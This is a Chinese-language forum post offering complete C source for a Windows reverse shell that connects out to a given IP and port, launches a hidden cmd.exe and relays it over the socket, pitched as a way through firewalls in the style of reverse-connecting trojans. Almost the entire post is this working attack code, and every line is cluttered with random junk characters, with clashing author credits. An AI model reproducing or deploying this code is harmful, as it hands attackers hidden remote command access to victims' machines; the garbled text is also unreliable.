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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 nk|N.%E  
S*m`'  
/* ============================== ^~<Rzq!  
Rebound port in Windows NT n!eqzr{  
By wind,2006/7 p6y0W`U  
===============================*/ &DQ4=/Z  
#include ka)LK@p6  
#include eGe[sv"k  
:`u&TXsu  
#pragma comment(lib,"wsock32.lib") K[>@'P}y  
Ld3Bi2d|  
void OutputShell(); lH@E%  
SOCKET sClient; hN:F8r+DG  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5ZyBP~  
Zjic"E1  
void main(int argc,char **argv) avt>saR  
{ ~{,vg4L  
WSADATA stWsaData; <_a70"i  
int nRet; :e<`U~8m  
SOCKADDR_IN stSaiClient,stSaiServer; Tb0;Mbr  
PUjoi@]  
if(argc != 3) !Xx<~l IC  
{ hp]ng!I{\u  
printf("Useage:\n\rRebound DestIP DestPort\n"); +fP/|A8P  
return; v;bP8)mI  
} 3ES[ N.V#  
`\F%l?aY  
WSAStartup(MAKEWORD(2,2),&stWsaData); Cs[7% j  
g y e(/N+I  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <.=#EV^i  
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stSaiClient.sin_family = AF_INET; vMZ7uO  
stSaiClient.sin_port = htons(0); L_lDFF  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Jm (&G  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) lO2T/1iMTW  
{ [71#@^ye  
printf("Bind Socket Failed!\n"); ]oas  
return; h-b5   
} h/ X5w4  
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stSaiServer.sin_family = AF_INET; !V]MLA`  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); L;--d`[  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }6CXJ+-UR  
N;x<| %peL  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) LE<u&9I\  
{ ~6-"i0k  
printf("Connect Error!"); P"bknXL  
return; m/<F 5R  
} txml*/zL  
OutputShell(); x>^3]m  
} &vFqe,Z  
uh5Pn#da^  
void OutputShell() K(Q]&&<  
{ <K,% y(]  
char szBuff[1024]; %0NkIQ`C  
SECURITY_ATTRIBUTES stSecurityAttributes; zY1s7/$ i  
OSVERSIONINFO stOsversionInfo; =CKuiO.j  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G !1~i*P$u  
STARTUPINFO stStartupInfo; Ev+HWx~Y  
char *szShell; fKT Dt%  
PROCESS_INFORMATION stProcessInformation; i+)}aA  
unsigned long lBytesRead; 9QH9gdiw  
+dCDM1{_a  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); xBL$]>  
:>P4L,Da]  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8Q^6ibE  
stSecurityAttributes.lpSecurityDescriptor = 0; +^4BO`   
stSecurityAttributes.bInheritHandle = TRUE; 5oU`[&=Ob  
9|N" @0<B  
'_.q_Tf-^  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Qst \b8,  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); crJ7pe9  
RGl=7^M  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qY$*#*Q  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?E+:]j_  
stStartupInfo.wShowWindow = SW_HIDE; O}K_l1  
stStartupInfo.hStdInput = hReadPipe; -t@y\vZF,  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Q%& _On  
WxVn&c\  
GetVersionEx(&stOsversionInfo); ':4}O#  
+}7Ea:K   
switch(stOsversionInfo.dwPlatformId) >bfYy=/  
{ j\`EUC  
case 1: [lNqT1%]  
szShell = "command.com"; PTbA1.B  
break; n5Nan  
default: :!JpP R5  
szShell = "cmd.exe"; _{LN{iqDv  
break; k_D4'(V:b  
} 4<G?  
7Wwp )D  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rU=b?D)n!w  
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send(sClient,szMsg,77,0); N5 SLF4R1  
while(1) >~I xyQp  
{ bJQ5- *F  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); AT B\^;n.  
if(lBytesRead) Hp)X^O"  
{ V~(EVF{h  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Gn bfy4Z  
send(sClient,szBuff,lBytesRead,0); < /;Q8;0  
} V$/u  
else Em e'Gk  
{ Sl3KpZ  
lBytesRead=recv(sClient,szBuff,1024,0); Gb(C#,xbK  
if(lBytesRead<=0) break; nG"tO'J6  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @+'c+  
} k}-yOP{  
} :/C ?FHs9  
yZYK wKG  
return; Ps U9R#HL1  
}
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